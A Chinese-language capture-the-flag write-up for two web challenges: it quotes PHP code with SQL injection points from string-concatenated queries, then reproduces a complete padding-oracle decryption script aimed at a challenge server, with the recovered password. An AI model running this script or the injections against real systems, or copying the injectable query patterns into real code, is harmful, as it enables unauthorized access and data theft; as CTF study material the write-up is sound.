好热
ezWeb
看题目附件给的sh文件
#!/bin/bash
export FLAG1="flag{this_is_a"
export FLAG2="_test"
mysql -u root wiby -e "create table flag1 (flag text); insert into flag1 values ('$FLAG1'); grant select on flag1 to 'approver'@'localhost';" && \
mysql -u root wiby -e "create table flag2 (flag text); insert into flag2 values ('$FLAG2'); grant select on flag2 to 'crawler'@'localhost';"
export FLAG1="flag{flag_not_here}"
export FLAG2="flag{flag_not_here}"
rm -rf /flag.sh
显然这道题把flag分为了两个部分存储在数据库中,我们可以分别通过寻找approver和crawler两个用户的注入点来获取flag。直接拉源码来对比,很容易发现/ban/ban.php的第一处注入点
$link = mysqli_connect('localhost', 'crawler', 'seekout');
.
.
.
if($delete == 'on')
{
$sql = "DELETE FROM windex WHERE url = '".$url."'";
}
else
{
$sql = "UPDATE windex SET enable = 0 WHERE url = '".$url."'";
}
然后在/readf/feedback.php发现第二处注入点
$link = mysqli_connect('localhost', 'approver', 'foobar');
.
.
.
if (isset($_POST['startid']) && $_SESSION["loadfeedback"]==false) //this is incase any new submissions are made during the review process, they will be ignored
{
$result = mysqli_query($link,"SELECT * FROM feedback WHERE id >= '".$startID."' AND id <= '".$endID."'");
if(!$result)
{
$error = 'Error fetching index: ' . mysqli_error($link);
include 'error.html.php';
exit();
}
}
然后直接跑sqlmap就行了
babyweb
题目提示了admin_passsword字段存在cbc padding oracle 的洞,直接github上找个脚本跑就行了
https://github.com/pollev/padbuster_python
#!/usr/bin/env python3
import requests
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import long_to_bytes
import base64
import sys
# ------------------------------- FILL IN -----------------------------
url = 'http://eci-2zecixvhmw3gdetmy9vc.cloudeci1.ichunqiu.com/login'
block_size = 16
IV = long_to_bytes(int('ac85d4debd6c02e8cc4c7c837f87be43',16))
# This tool assumes that the sever expects the token in the form of a cookie. Here you can specify the name of the cookie
cookie_name = 'admin_password'
# This tool will look for the following string in the response from the padding oracle
# If it finds the response, it will consider that the padding is incorrect, if not, that the padding is correct
bad_padding_response = 'padding error.'
# Only for decrypt
original_token = 'rIXU3r1sAujMTHyDf4e+Q1H7uGHIKSnXcbwn3xDMf0MAu9j182/ElUfj1ar/CTUFLZMCsvCRZHIllutENC65ZA=='
# Only for encrypt
original_plaintext = 'username=admin'
# ---------------------------------------------------------------------
plaintext_token = b''
offset=0
def b64decode_padding(data):
missing_padding = len(data) % 4
if missing_padding:
data += '='* (4 - missing_padding)
decoded = base64.b64decode(data)
return decoded
def b64urldecode_padding(data):
missing_padding = len(data) % 4
if missing_padding:
data += '='* (4 - missing_padding)
decoded = base64.urlsafe_b64decode(data)
return decoded
def test_token(token):
if isinstance(token, list):
token = b''.join(token)
#print(f"testing token: {token.hex()}")
token_encoded = base64.b64encode(token).decode()
#token_encoded = token_encoded.replace("+","%2B")
#token_encoded = token_encoded.replace("=","%3D")
#print(token_encoded)
#print(token_encoded)
cookies = {
cookie_name : token_encoded,
'session' : 'eyJhZG1pbl9wYXNzd29yZCI6InJJWFUzcjFzQXVqTVRIeURmNGUrUTFIN3VHSElLU25YY2J3bjN4RE1mME1BdTlqMTgyL0VsVWZqMWFyL0NUVUZMWk1Dc3ZDUlpISWxsdXRFTkM2NVpBPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvymfw.7qC-CrMsxFwEzaRlmhnV_TH6KL0;'
}
burp0_data = {"username": "admin", "password": "admin"}
response = requests.post(url, cookies=cookies, data=burp0_data)
#print(response.text)
if bad_padding_response in response.text:
return False
else:
#print(1)
return True
def tamper_and_test_byte_in_block(block_list, block_index, byte_index):
block_index = len(block_list) - block_index -1
pre_block = block_list[0:block_index]
target_block = block_list[block_index]
post_block = block_list[block_index+1:len(block_list)]
modified_block = target_block[0:byte_index] + bytes([target_block[byte_index] +1 % 256]) + target_block[byte_index+1:block_size]
test_block_list = pre_block
test_block_list.append(modified_block)
test_block_list = test_block_list + post_block
#print(f"block split: {[i.hex() for i in test_block_list]}")
return test_token(test_block_list)
def determine_nr_of_padding_bytes(block_list):
print("Determining nr of padding bytes...")
for i in range(0,block_size):
success = tamper_and_test_byte_in_block(block_list, 1, i)
if not success:
print(f"detected number of padding bytes: {block_size - i}")
return block_size - i
print("[-] Failed to determine number of padding bytes in token to decrypt (token is bad or padding oracle is not working)")
exit()
def increment_padding_bytes(token, nr_padding_bytes):
xor_val = nr_padding_bytes ^ (nr_padding_bytes + 1)
#print(f"Incrementing byte padding to {nr_padding_bytes+1}")
for i in range(0, nr_padding_bytes):
index = len(token)-i-1-block_size
token = token[0:index] + bytes([token[index] ^ xor_val]) + token[index+1:len(token)]
return token
def convert_padding_bytes(token, nr_padding_bytes, plaintext):
#print(f"Converting byte padding to plaintext {plaintext}")
for i in range(0, nr_padding_bytes):
index = len(token)-i-1-block_size
xor = nr_padding_bytes ^ plaintext[len(plaintext)-i-1]
token = token[0:index] + bytes([token[index] ^ xor]) + token[index+1:len(token)]
return token
def decrypt_byte(token, nr_padding_bytes):
global plaintext_token
index=len(token)-nr_padding_bytes-1-block_size
#print(f"tampering with byte {offset-(2*block_size)+index+1} to spoof byte {offset-(2*block_size)+index+1+block_size} to padding value {nr_padding_bytes+1}")
for i in range(0, 256):
old_byte = token[index]
updated_byte = i
print(f"\r Testing byte value {abs(i-256)} -> ascii {bytes([(nr_padding_bytes+1) ^ i ^ old_byte])} ", end='')
new_token = token[0:index] + bytes([updated_byte]) + token[index+1:len(token)]
if test_token(new_token):
print("\r \r", end='')
plaintext_byte = bytes([(nr_padding_bytes+1) ^ i ^ old_byte])
print(f"[+] decrypted byte {offset-block_size-nr_padding_bytes}: {plaintext_byte}")
plaintext_token = plaintext_byte + plaintext_token
return new_token
print("[-] No valid result from oracle for any of the 256 bytes. If you are sure the oracle works properly, verify your encoding or communication with the oracle")
exit()
def encrypt_byte(token, nr_padding_bytes):
index=len(token)-nr_padding_bytes-1-block_size
for i in range(0, 256):
old_byte = token[index]
updated_byte = i
print(f"\r Testing byte value {abs(i-256)} ", end='')
new_token = token[0:index] + bytes([updated_byte]) + token[index+1:len(token)]
if test_token(new_token):
print("\r \r", end='')
print(f"[+] Found next padding byte (for byte {offset-nr_padding_bytes})")
return new_token
print("[-] No valid result from oracle for any of the 256 bytes. If you are sure the oracle works properly, verify your encoding or communication with the oracle")
exit()
def decrypt_last_block(token, nr_padding_bytes):
global plaintext_token
print("")
print(f"Decrypting block {int(offset/block_size)}")
while nr_padding_bytes < block_size:
token = increment_padding_bytes(token, nr_padding_bytes)
token = decrypt_byte(token, nr_padding_bytes)
nr_padding_bytes = nr_padding_bytes + 1
print(f"[+] Block decrypted!")
print(f"[+] intermediate plaintext: {plaintext_token}")
def encrypt_last_block(token, nr_padding_bytes, plaintext_block):
print("")
print(f"Encrypting block {int(offset/block_size)}")
while nr_padding_bytes < block_size:
token = increment_padding_bytes(token, nr_padding_bytes)
token = encrypt_byte(token, nr_padding_bytes)
nr_padding_bytes = nr_padding_bytes + 1
print(f"[+] Created full padding block")
encrypted_token = convert_padding_bytes(token, nr_padding_bytes, plaintext_block)
print(f"[+] Block encrypted!")
return encrypted_token
def decrypt_all(token):
global offset
block_list = [token[i:i+block_size] for i in range(0, len(token), block_size)]
print("STARTING BLOCK DECRYPTION (last block first)")
# Optimalisation for the last block
offset = len(token)
print("Using optimization for last block by detecting padding bytes")
nr_padding_bytes = determine_nr_of_padding_bytes(block_list)
decrypt_last_block(token, nr_padding_bytes)
offset = len(token)-block_size
while offset > block_size:
# Send 2 blocks at a time
decrypt_last_block(token[offset-(2*block_size):offset], 0)
offset = offset - block_size
print("")
print("The final block can only be decoded if the IV is known. (If not known, you can try a block of null bytes)")
print(f"Trying decoding with IV {IV}")
decrypt_last_block(IV+token[0:block_size], 0)
def encrypt_all(plain_token):
global offset
offset = len(plain_token)
encrypted_token = b'0'*(2*block_size)
plaintext_block = plain_token[offset-block_size:offset]
encrypted_token = encrypt_last_block(encrypted_token, 0, plaintext_block)
full_token = encrypted_token
print(f"[+] intermediate encrypted token: {full_token.hex()}")
offset = offset - block_size
while offset > 0:
encrypted_token = (b'0'*block_size) + full_token[0:block_size]
plaintext_block = plain_token[offset-block_size:offset]
encrypted_token = encrypt_last_block(encrypted_token, 0, plaintext_block)
full_token = encrypted_token[0:block_size] + full_token
offset = offset - block_size
print(f"[+] intermediate encrypted token: {full_token.hex()}")
return full_token
def decrypt():
bad_payload = b'0'*block_size
if test_token(bad_payload):
print("[-] Padding oracle indicates valid padding for impossible token. Please make sure you properly specified all required information.")
exit()
global original_token
original_token = original_token.replace("%2B","+")
original_token = original_token.replace("%3D","=")
original_token_dec = b64decode_padding(original_token)
block_list = [original_token_dec[i:i+block_size] for i in range(0, len(original_token_dec), block_size)]
print(f"original token hex: {original_token_dec.hex()}")
print(f"block split: {[i.hex() for i in block_list]}")
print("")
decrypt_all(original_token_dec)
print(f"plaintext token: {plaintext_token}")
def encrypt():
bad_payload = b'0'*block_size
if test_token(bad_payload):
print("[-] Padding oracle indicates valid padding for impossible token. Please make sure you properly specified all required information.")
exit()
padding_length = block_size - (len(original_plaintext) % block_size)
plaintext_padding_bytes = bytes([padding_length])*padding_length
token = original_plaintext.encode() + plaintext_padding_bytes
print(f"original plaintext + padding: {token}")
print(f"hexed plaintext + padding: {token.hex()}")
block_list = [token[i:i+block_size] for i in range(0, len(token), block_size)]
print(f"block split: {[i.hex() for i in block_list]}")
print("")
encrypted_token = encrypt_all(token)
token_encoded = base64.b64encode(encrypted_token).decode()
#token_encoded = token_encoded.replace("+","%2B")
#token_encoded = token_encoded.replace("=","%3D")
print(f"encrypted token: {token_encoded}")
def usage():
print("Python padbuster usage:")
print(f"{sys.argv[0]} [encrypt|decrypt]")
print("")
print("You must also edit the script and update all values in the section marked 'FILL IN'.")
print("This tool also assumes that the server is using a cookie to store the CBC token in a base64 encoded format")
print("If this is not the case, you might need to tinker with the functions 'encrypt', 'decrypt' and 'test_token' to supply the data in your desired format")
#test_token(b64decode_padding(original_token))
if len(sys.argv) != 2:
print("Bad number of arguments!")
usage()
else:
if sys.argv[1] == "encrypt":
encrypt()
elif sys.argv[1] == "decrypt":
decrypt()
else:
usage()
#key = b'Kt\xad\x16&\xd8\x80\xe9\xfa\xdf#\x8da\x89\x9dO065a3bbd-975e-4f77-87c0-dbe6a61a83fc'
得到密码065a3bbd-975e-4f77-87c0-dbe6a61a83fc,登录之后直接有flag🌶